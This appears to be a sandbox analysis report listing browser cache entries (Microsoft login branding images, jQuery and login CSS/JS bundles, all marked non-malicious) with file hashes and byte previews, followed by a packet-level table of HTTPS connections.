Preview:	......Exif..II*.................Ducky.......<......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.a6a63968a, 2024/03/06-11:52:05 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:9F053F04776811EFB2D1BD1F099291BC" xmpMM:InstanceID="xmp.iid:9F053F03776811EFB2D1BD1F099291BC" xmp:CreatorTool="Adobe Photoshop 2024 Macintosh"> <xmpMM:DerivedFrom stRef:instanceID="C59071A4542AACD72A437A819EB3EA32" stRef:documentID="C59071A4542AACD72A437A819EB3EA32"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.............................................................................................................................................

Chrome Cache Entry: 197

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 753 x 178, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	9788
Entropy (8bit):	7.931476294574079
Encrypted:	false
SSDEEP:	192:QD8h5bvW9Ur/zAt/sTOfBvebtsUwnuy8foZXobGxDJJiybyPDdNr3VGrOQ2rNGOp:QInbvW2zGeOfU5sUry8fa4SxDJMy2PDB
MD5:	65E4F3AA3F24B90146FAC8E483C15CBC
SHA1:	EB0BC41E28BBE62753665C6E661F6EE7C99EE6E5
SHA-256:	421A479198E0AEA51ADAD33F42252566B69A6DD31E55A1DEAB3DE773E8A87891
SHA-512:	3D5FF38B94F8B4F1F9C5046E15B9C2AC2C90AC66FB9E875E1D693E995A0705E82819DA1E573109C7D7759BB8B87C4A94C99593765A8CDF088DEF83DBED15CC28
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauthimages.net/c1c6b6c8-kvmpe46lae-jcs91vhnee67h2tbwkcjgakvyqk1j76s/logintenantbranding/0/bannerlogo?ts=638633076084388030
Preview:	.PNG........IHDR..............k......pHYs..,J..,J.wztM.. .IDATx...Oh$W.'..B>.!.....mEA...ke..i....9vK.......S...g...k.}mS..u.U}....:M.S....."k..V.X9...n..xQ.Re..x.x/...eWF.{%.2........K......tm}.`.......yl..J.O..!=."""........Fu.>][..D....j.c........q.........O................8....8/y.9......5.....\|.v....\|f. ..A<.....j.o..{....@..c.ODDD........>sO.N.u..x""".. ...X.cRG1.'"""_XY.j..X_@.`.M. .....w...X...8V...a.ODDD>.YJ.Z..=...C..........&.ic.%.\.J..x""".Chi...8y....<..DDD..[....8y..'.......L..@z.KL.....!.... ....\....p...<....._[..y..4DDD....E...1'..C.a.ODDD...'@d..x"""r]g3.Dma.ODDD....V..0.'""".... .. ....\.JO.H..x"""r............S/1.'"""'.M.6..A$.A<.....Yx.-..DDD.Pz.DR...........b.ODDD.b.O.. ......E..w....E..S.1.'""".... .. ....\.HO.H..x"""r..i...........'@$.A<...9.tm=,y..y.Ib.ODDD.)[J3iu.D.......k..S.1.'"""....6'A$.A<......Vf..[.....U..n_^..9."I....%..'..x"""r..x"0.'"""..%.c.O^c.ODDD..)y..x...x"""r...z.R....E..\........QI..o.R*....r..^..G).!..

Chrome Cache Entry: 198

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 199

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 200

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	dropped
Size (bytes):	89476
Entropy (8bit):	5.2896589255084425
Encrypted:	false
SSDEEP:	1536:AjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakF:AYh8eip3huuf6IidlrvakdtQ47GK1
MD5:	DC5E7F18C8D36AC1D3D4753A87C98D0A
SHA1:	C8E1C8B386DC5B7A9184C763C88D19A346EB3342
SHA-256:	F7F6A5894F1D19DDAD6FA392B2ECE2C5E578CBF7DA4EA805B6885EB6985B6E3D
SHA-512:	6CB4F4426F559C06190DF97229C05A436820D21498350AC9F118A5625758435171418A022ED523BAE46E668F9F8EA871FEAB6AFF58AD2740B67A30F196D65516
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 202

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (61177)
Category:	downloaded
Size (bytes):	113378
Entropy (8bit):	5.285066693137765
Encrypted:	false
SSDEEP:	1536:QpHDgBvguhw+EViazA/PWrF7qvEAFiQcpmQhSeC1Jzc6VUW3:xkXhp6VU0
MD5:	9C837C2B6C9C441656C3C64BE6FC6401
SHA1:	D44AA83093C4109DDD8FFAEA60755F05D1BFE7D3
SHA-256:	68C2994E21A564345EB3B4091DD2334C9CBDDB0AECDA45EE963C6DE2E1629B93
SHA-512:	AF04835BCC621FE1793C4661FDB03EDEA16219BAA77F1198AA419F771B6B3DCDAC3DA92676568C207022251483AB79C75AB6DF2CE94924748FF9CEBF64AFF5A2
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css
Preview:	/! Copyright (C) Microsoft Corporation. All rights reserved. //*!.------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------..This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise...//-----------------------------------------------------------------------------.twbs-bootstrap-sass (3.3.0).//-----------------------------------------------------------------------------..The MIT License (MIT)..Copyright (c) 2013 Twitter, Inc..Permission is hereby granted, free of charge, to any person

Chrome Cache Entry: 203

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	513
Entropy (8bit):	4.720499940334011
Encrypted:	false
SSDEEP:	12:t4BdU/uRqv6DLfBHKFWJCDLfBSU1pRXIFl+MJ4bADc:t4TU/uRff0EcfIU1XXU+t2c
MD5:	A9CC2824EF3517B6C4160DCF8FF7D410
SHA1:	8DB9AEBAD84CA6E4225BFDD2458FF3821CC4F064
SHA-256:	34F9DB946E89F031A80DFCA7B16B2B686469C9886441261AE70A44DA1DFA2D58
SHA-512:	AA3DDAB0A1CFF9533F9A668ABA4FB5E3D75ED9F8AFF8A1CAA4C29F9126D85FF4529E82712C0119D2E81035D1CE1CC491FF9473384D211317D4D00E0E234AD97F
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>assets</title><path d="M18,11.578v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944.594.594L7.617,11.578Z" fill="#404040"/><path d="M10.944,7.056l.594.594L7.617,11.578H18v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944m0-.141-.071.07L5.929,11.929,5.858,12l.071.071,4.944,4.944.071.07.071-.07.594-.595.071-.07-.071-.071L7.858,12.522H18.1V11.478H7.858l3.751-3.757.071-.071-.071-.07-.594-.595-.071-.07Z" fill="#404040"/></svg>

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46591)
Category:	dropped
Size (bytes):	142367
Entropy (8bit):	5.430597817875451
Encrypted:	false
SSDEEP:	1536:PyeDWgSr6fTPRUbx3XCg/MJA5NOii5WLeVdgWLDY2Js0VgtWyTJmxyAXP3onrGGK:IgD1g/Mq5L9EveUynbBwsIccp
MD5:	CCAA31FD031C4C856EB7B986FD9F447B
SHA1:	0A809EABCDB95FA04DE5F8409B3BC994ED65CBD1
SHA-256:	3D40B4129B8B4C284908636AE46D72EA053F286FB5FE45DB78351B5B2CFC1EB9
SHA-512:	4B5B2271DB5F640FEBF13A7C0BDBD630C73530000F1593046D090585D1752E239D894614E23E801BE4C6A379406B6EF521423FA27C3865C3CD4ABB0A64823780
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function t(t){for(var n,r,i=t[0],a=t[1],s=0,u=[];s<i.length;s++)

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14782)
Category:	dropped
Size (bytes):	15755
Entropy (8bit):	5.366543080044668
Encrypted:	false
SSDEEP:	384:DveX/4OSgcn2ZU2ZfeXOh+rF3X1qDZD4zfXdv79HU:q/9i57hU
MD5:	630831903F4BA9060856520624E34CFC
SHA1:	36DC15B9CCC3FC8EF627354BF55EF44EBD10E203
SHA-256:	BC6804D058D5BD5B24FC04E479FC8973BEF5D3EFEAFAA9C19C60A009BF0FAC0B
SHA-512:	1B0759972BBAB0B1A11D54849051E6782600B74FADB1CAF1BD58D214F484E35154907CA7F396EDB1C81A7CDC6F264D138267FB58FD89E1BA3A4D67366EE7E8B0
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[17],{519:function(e,n,s

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 14, 2024 16:39:13.110944986 CET	49676	443	192.168.2.17	204.79.197.200
Nov 14, 2024 16:39:13.110944986 CET	49678	443	192.168.2.17	204.79.197.200
Nov 14, 2024 16:39:14.607191086 CET	49703	443	192.168.2.17	142.250.186.67
Nov 14, 2024 16:39:14.607228994 CET	443	49703	142.250.186.67	192.168.2.17
Nov 14, 2024 16:39:14.607319117 CET	49703	443	192.168.2.17	142.250.186.67
Nov 14, 2024 16:39:14.607393026 CET	49704	443	192.168.2.17	142.250.186.67
Nov 14, 2024 16:39:14.607435942 CET	443	49704	142.250.186.67	192.168.2.17
Nov 14, 2024 16:39:14.607482910 CET	49704	443	192.168.2.17	142.250.186.67
Nov 14, 2024 16:39:14.607637882 CET	49703	443	192.168.2.17	142.250.186.67
Nov 14, 2024 16:39:14.607654095 CET	443	49703	142.250.186.67	192.168.2.17
Nov 14, 2024 16:39:14.607893944 CET	49704	443	192.168.2.17	142.250.186.67
Nov 14, 2024 16:39:14.607908010 CET	443	49704	142.250.186.67	192.168.2.17
Nov 14, 2024 16:39:15.520381927 CET	443	49703	142.250.186.67	192.168.2.17
Nov 14, 2024 16:39:15.520751953 CET	49703	443	192.168.2.17	142.250.186.67
Nov 14, 2024 16:39:15.520765066 CET	443	49703	142.250.186.67	192.168.2.17
Nov 14, 2024 16:39:15.521224022 CET	443	49704	142.250.186.67	192.168.2.17
Nov 14, 2024 16:39:15.521415949 CET	49704	443	192.168.2.17	142.250.186.67
Nov 14, 2024 16:39:15.521435022 CET	443	49704	142.250.186.67	192.168.2.17
Nov 14, 2024 16:39:15.521745920 CET	443	49703	142.250.186.67	192.168.2.17
Nov 14, 2024 16:39:15.521893978 CET	49703	443	192.168.2.17	142.250.186.67
Nov 14, 2024 16:39:15.522469997 CET	443	49704	142.250.186.67	192.168.2.17
Nov 14, 2024 16:39:15.522535086 CET	49704	443	192.168.2.17	142.250.186.67
Nov 14, 2024 16:39:15.523070097 CET	49703	443	192.168.2.17	142.250.186.67
Nov 14, 2024 16:39:15.523070097 CET	49703	443	192.168.2.17	142.250.186.67
Nov 14, 2024 16:39:15.523087978 CET	443	49703	142.250.186.67	192.168.2.17
Nov 14, 2024 16:39:15.523139000 CET	443	49703	142.250.186.67	192.168.2.17
Nov 14, 2024 16:39:15.523222923 CET	49704	443	192.168.2.17	142.250.186.67
Nov 14, 2024 16:39:15.523406982 CET	443	49704	142.250.186.67	192.168.2.17
Nov 14, 2024 16:39:15.573601961 CET	49704	443	192.168.2.17	142.250.186.67
Nov 14, 2024 16:39:15.573630095 CET	443	49704	142.250.186.67	192.168.2.17
Nov 14, 2024 16:39:15.573664904 CET	49703	443	192.168.2.17	142.250.186.67
Nov 14, 2024 16:39:15.573684931 CET	443	49703	142.250.186.67	192.168.2.17
Nov 14, 2024 16:39:15.621603966 CET	49704	443	192.168.2.17	142.250.186.67
Nov 14, 2024 16:39:15.621726990 CET	49703	443	192.168.2.17	142.250.186.67
Nov 14, 2024 16:39:15.807971954 CET	443	49703	142.250.186.67	192.168.2.17
Nov 14, 2024 16:39:15.860878944 CET	49703	443	192.168.2.17	142.250.186.67
Nov 14, 2024 16:39:15.860889912 CET	443	49703	142.250.186.67	192.168.2.17
Nov 14, 2024 16:39:15.861610889 CET	49703	443	192.168.2.17	142.250.186.67
Nov 14, 2024 16:39:15.861681938 CET	443	49703	142.250.186.67	192.168.2.17
Nov 14, 2024 16:39:15.861864090 CET	443	49703	142.250.186.67	192.168.2.17
Nov 14, 2024 16:39:15.861939907 CET	49703	443	192.168.2.17	142.250.186.67
Nov 14, 2024 16:39:15.861939907 CET	49703	443	192.168.2.17	142.250.186.67
Nov 14, 2024 16:39:15.863718987 CET	49704	443	192.168.2.17	142.250.186.67
Nov 14, 2024 16:39:15.911334038 CET	443	49704	142.250.186.67	192.168.2.17
Nov 14, 2024 16:39:16.186739922 CET	443	49704	142.250.186.67	192.168.2.17
Nov 14, 2024 16:39:16.188095093 CET	49704	443	192.168.2.17	142.250.186.67
Nov 14, 2024 16:39:16.188148975 CET	443	49704	142.250.186.67	192.168.2.17
Nov 14, 2024 16:39:16.188246012 CET	49704	443	192.168.2.17	142.250.186.67
Nov 14, 2024 16:39:16.261764050 CET	49706	443	192.168.2.17	95.217.117.210
Nov 14, 2024 16:39:16.261810064 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:16.261898994 CET	49706	443	192.168.2.17	95.217.117.210
Nov 14, 2024 16:39:16.262167931 CET	49706	443	192.168.2.17	95.217.117.210
Nov 14, 2024 16:39:16.262183905 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:17.190093994 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:17.190418005 CET	49706	443	192.168.2.17	95.217.117.210
Nov 14, 2024 16:39:17.190447092 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:17.191442013 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:17.191507101 CET	49706	443	192.168.2.17	95.217.117.210
Nov 14, 2024 16:39:17.192408085 CET	49706	443	192.168.2.17	95.217.117.210
Nov 14, 2024 16:39:17.192480087 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:17.192573071 CET	49706	443	192.168.2.17	95.217.117.210
Nov 14, 2024 16:39:17.192586899 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:17.245632887 CET	49706	443	192.168.2.17	95.217.117.210
Nov 14, 2024 16:39:17.531217098 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:17.581621885 CET	49706	443	192.168.2.17	95.217.117.210
Nov 14, 2024 16:39:17.581640959 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:17.629625082 CET	49706	443	192.168.2.17	95.217.117.210
Nov 14, 2024 16:39:17.673316956 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:17.673331976 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:17.673357010 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:17.673369884 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:17.673381090 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:17.673460007 CET	49706	443	192.168.2.17	95.217.117.210
Nov 14, 2024 16:39:17.673469067 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:17.673530102 CET	49706	443	192.168.2.17	95.217.117.210
Nov 14, 2024 16:39:17.725624084 CET	49706	443	192.168.2.17	95.217.117.210
Nov 14, 2024 16:39:17.790750980 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:17.790769100 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:17.790806055 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:17.790824890 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:17.790833950 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:17.790848970 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:17.790944099 CET	49706	443	192.168.2.17	95.217.117.210
Nov 14, 2024 16:39:17.790971994 CET	49706	443	192.168.2.17	95.217.117.210
Nov 14, 2024 16:39:17.908730030 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:17.908741951 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:17.908780098 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:17.908790112 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:17.908953905 CET	49706	443	192.168.2.17	95.217.117.210
Nov 14, 2024 16:39:17.908953905 CET	49706	443	192.168.2.17	95.217.117.210
Nov 14, 2024 16:39:17.908968925 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:17.909023046 CET	49706	443	192.168.2.17	95.217.117.210
Nov 14, 2024 16:39:18.029213905 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:18.029230118 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:18.029285908 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:18.029325008 CET	49706	443	192.168.2.17	95.217.117.210
Nov 14, 2024 16:39:18.029345989 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:18.029400110 CET	49706	443	192.168.2.17	95.217.117.210
Nov 14, 2024 16:39:18.029400110 CET	49706	443	192.168.2.17	95.217.117.210
Nov 14, 2024 16:39:18.029408932 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:18.029421091 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:18.029464960 CET	49706	443	192.168.2.17	95.217.117.210
Nov 14, 2024 16:39:18.029795885 CET	49706	443	192.168.2.17	95.217.117.210
Nov 14, 2024 16:39:18.029812098 CET	443	49706	95.217.117.210	192.168.2.17
Nov 14, 2024 16:39:18.093394041 CET	49707	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:18.093432903 CET	443	49707	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:18.093899965 CET	49708	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:18.093913078 CET	49707	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:18.093945980 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:18.094008923 CET	49708	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:18.094296932 CET	49707	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:18.094309092 CET	443	49707	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:18.094405890 CET	49708	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:18.094419003 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:18.561901093 CET	49709	443	192.168.2.17	142.250.185.100
Nov 14, 2024 16:39:18.561954975 CET	443	49709	142.250.185.100	192.168.2.17
Nov 14, 2024 16:39:18.562028885 CET	49709	443	192.168.2.17	142.250.185.100
Nov 14, 2024 16:39:18.562247992 CET	49709	443	192.168.2.17	142.250.185.100
Nov 14, 2024 16:39:18.562268972 CET	443	49709	142.250.185.100	192.168.2.17
Nov 14, 2024 16:39:19.079145908 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.079479933 CET	49708	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:19.079490900 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.080579042 CET	443	49708	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:19.080642939 CET	49708	443	192.168.2.17	163.47.73.97
